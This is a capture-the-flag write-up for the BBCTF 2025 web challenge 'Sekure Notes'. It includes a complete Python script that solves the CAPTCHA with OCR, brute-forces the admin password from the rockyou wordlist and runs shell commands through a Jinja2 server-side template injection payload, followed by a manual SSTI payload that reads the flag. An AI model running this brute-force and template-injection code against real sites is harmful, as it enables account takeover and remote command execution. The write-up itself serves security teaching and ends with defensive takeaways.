BBCTF 2025
Sekure Notes (Web)
Challenge Description
Challenge: Sekure Notes
Category: Web
Author: vicevirus
URL: http://157.180.92.15:7999/ (opens in a new tab)
I don't think you are able to get the flag. The captcha is too strong :(
Note: This challenge's login is meant to be bruted. Check source code for which wordlist to use :)
Goals
- Bruteforce the admin password using the rockyou wordlist
- Bypass the CAPTCHA mechanism
- Exploit SSTI vulnerability to read the flag
Vulnerability Analysis
1. Hardcoded Admin Credentials
From the source code analysis, we can see the login function contains a hardcoded password check:
def login():
message = None
message_class = ''
if request.method == 'POST':
username = request.form.get('username', '')
password = request.form.get('password', '')
captcha_input = request.form.get('captcha', '')
if captcha_input.upper() != session.get('captcha', '').upper():
message = 'Captcha incorrect. Please try again.'
message_class = 'error'
elif username == 'admin' and password == 'RANDOMPASSWORD': # rockyouThe comment # rockyou indicates that the admin password is from the rockyou wordlist.
2. SSTI Vulnerability
There's a Server-Side Template Injection vulnerability in the admin_notes() function:
def admin_notes():
if not session.get('admin'):
return jsonify({'error': 'unauthorized'}), 403
note_render = ''
if request.method == 'POST':
raw_note = request.form.get('note', '')
try:
note_render = render_template_string(raw_note) # VULNERABLE!
except:
note_render = 'Error rendering note.'
return render_template_string('''
...[SNIP]...
<div style="margin-top: 1rem;">{{ note_render|safe }}</div>
</div>
</body>
</html>
''', note_render=note_render)The vulnerability exists because:
- User input is directly passed to
render_template_string() - The
|safefilter is used, which tells Jinja2 not to escape the content - This allows arbitrary template injection
3. Weak CAPTCHA Implementation
The CAPTCHA can be bypassed using OCR since it generates simple alphanumeric text without complex distortions.
Solution
Step 1: Download and Analyze Source Code
- First, download the source code provided by the challenge
- Analyze the code to identify vulnerabilities and attack vectors
Step 2: Brute Force Attack with CAPTCHA Bypass
Since we need to bypass the CAPTCHA that appears on each login attempt, I discovered that the CAPTCHA in this challenge generates simple alphanumeric text that can be solved using OCR (Optical Character Recognition).
Attack Script:
import requests
from PIL import Image
import io
import pytesseract
import time
import os
# Configuration
TARGET_URL = "http://localhost:7999/" # Change this to your target URL
WORDLIST_PATH = "rockyou.txt" # Path to your wordlist
ADMIN_USERNAME = "admin"
THROTTLE_DELAY = 0.1 # Delay between attempts to avoid rate limiting
MAX_ATTEMPTS = None # Set to None for unlimited or a number to limit attempts
def solve_captcha(session):
"""Attempt to solve the CAPTCHA using OCR with retries"""
for _ in range(3): # Try up to 3 times
try:
# Get the CAPTCHA image
captcha_response = session.get(f"{TARGET_URL}captcha?{int(time.time())}")
captcha_image = Image.open(io.BytesIO(captcha_response.content))
# Preprocess image to improve OCR accuracy
captcha_image = captcha_image.convert('L') # Grayscale
captcha_image = captcha_image.point(lambda x: 0 if x < 128 else 255, '1') # Binarize
# Use Tesseract OCR with custom configuration
custom_config = r'--oem 3 --psm 8 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
captcha_text = pytesseract.image_to_string(captcha_image, config=custom_config).strip()
# Validate the OCR result
if len(captcha_text) == 5 and captcha_text.isalnum():
return captcha_text.upper()
except Exception as e:
print(f"[-] CAPTCHA solving error: {e}")
# If OCR fails after retries, generate a random string (fallback)
fallback = ''.join(random.choices('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=5))
print(f"[-] OCR failed, using fallback CAPTCHA: {fallback}")
return fallback
def attempt_login(session, password):
"""Attempt to login with given password"""
captcha_text = solve_captcha(session)
login_data = {
'username': ADMIN_USERNAME,
'password': password,
'captcha': captcha_text
}
response = session.post(TARGET_URL, data=login_data, allow_redirects=True)
return "/admin/notes" in response.url
def exploit_ssti(session, command):
"""Exploit the SSTI vulnerability to execute commands"""
payload = f"{{{{ config.__class__.__init__.__globals__['os'].popen('{command}').read() }}}}"
response = session.post(f"{TARGET_URL}admin/notes", data={'note': payload})
# Extract the result from the response
start_marker = '<div style="margin-top: 1rem;">'
end_marker = '</div>'
try:
result = response.text.split(start_marker)[1].split(end_marker)[0]
return result.strip()
except:
return "Failed to extract result"
def brute_force():
"""Main brute force function"""
print(f"[*] Starting brute force attack on {TARGET_URL}")
print(f"[*] Using wordlist: {WORDLIST_PATH}")
# Check if wordlist exists
if not os.path.exists(WORDLIST_PATH):
print(f"[-] Error: Wordlist not found at {WORDLIST_PATH}")
return
# Initialize counters
attempts = 0
start_time = time.time()
session = requests.Session()
with open(WORDLIST_PATH, 'r', errors='ignore') as f:
for line in f:
password = line.strip()
if not password:
continue
attempts += 1
if MAX_ATTEMPTS and attempts > MAX_ATTEMPTS:
print(f"[*] Reached max attempts ({MAX_ATTEMPTS}), stopping.")
break
# Print progress every 10 attempts
if attempts % 10 == 0:
elapsed = time.time() - start_time
rate = attempts / elapsed
print(f"[*] Attempt {attempts}: Trying '{password}' | Rate: {rate:.2f} attempts/sec")
try:
if attempt_login(session, password):
print(f"\n[+] SUCCESS! Found credentials: {ADMIN_USERNAME}:{password}")
print(f"[*] Found in {attempts} attempts ({time.time() - start_time:.2f} seconds)")
# Now exploit the SSTI vulnerability
print("\n[+] Exploiting SSTI vulnerability...")
# Test command execution
print("[*] Testing command execution with 'id':")
print(exploit_ssti(session, "id"))
# Search for flag
print("\n[*] Searching for flag...")
common_flag_locations = [
"/flag", "/flag.txt", "/app/flag", "/app/flag.txt",
"/home/flag", "/home/flag.txt", "/root/flag",
"/root/flag.txt", "/var/www/flag", "/var/www/flag.txt"
]
for location in common_flag_locations:
result = exploit_ssti(session, f"cat {location} 2>/dev/null")
if result and "No such file" not in result:
print(f"\n[+] FLAG FOUND at {location}:")
print(result)
return
# If not found, try to find it
print("\n[+] Flag not found in common locations. Searching filesystem...")
find_result = exploit_ssti(session, "find / -name '*flag*' 2>/dev/null")
print("Potential flag locations:")
print(find_result)
return
except Exception as e:
print(f"[-] Error during attempt {attempts}: {e}")
session = requests.Session() # Reset session on error
time.sleep(THROTTLE_DELAY)
print("\n[-] Brute force completed. Password not found in wordlist.")
if __name__ == "__main__":
# Check if pytesseract is available
try:
pytesseract.get_tesseract_version()
except:
print("[-] Error: Tesseract OCR is not installed or not in PATH")
print("[*] On Ubuntu/Debian, install with: sudo apt install tesseract-ocr")
print("[*] On macOS, install with: brew install tesseract")
exit(1)
brute_force()How the Script Works:
-
CAPTCHA Solving (
solve_captchafunction):- Downloads the CAPTCHA image from the server
- Preprocesses the image (grayscale + binarization) for better OCR accuracy
- Uses Tesseract OCR to extract the 5-character alphanumeric text
- The CAPTCHA uses simple text generation, making it vulnerable to OCR
-
Login Brute Force (
attempt_loginfunction):- For each password from rockyou.txt, solves the CAPTCHA using OCR
- Submits login form with username=admin, password, and OCR-solved CAPTCHA
- Checks for successful login by detecting
/admin/notesin response URL
-
SSTI Exploitation (
exploit_sstifunction):- Once authenticated, exploits the template injection vulnerability
- Executes system commands to search for and read the flag
Step 3: Running the Attack
- Run the script against the target:
http://157.180.92.15:7999/ - The script will bruteforce passwords and find: peaches
- After successful login, it automatically exploits SSTI to get the flag
Step 4: Manual SSTI Exploitation (Alternative)
If you prefer manual exploitation after getting the credentials:
- Login with
admin:peaches - Navigate to the admin notes page
- Use one of these SSTI payloads to read the flag:
Payload:
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}
Key Takeaways
- Weak CAPTCHA Implementation: The challenge demonstrates how simple text-based CAPTCHAs can be easily bypassed with OCR
- Source Code Analysis: Always check for hints in source code comments (like the
# rockyoucomment) - SSTI via |safe Filter: The
|safefilter in Jinja2 disables escaping, making template injection possible - Defense: Use proper input validation, complex CAPTCHAs, and avoid
|safefilter with user input
Final Result
Flag: BBCTF{c4ptcha_4nd_sst1_m4st3r!}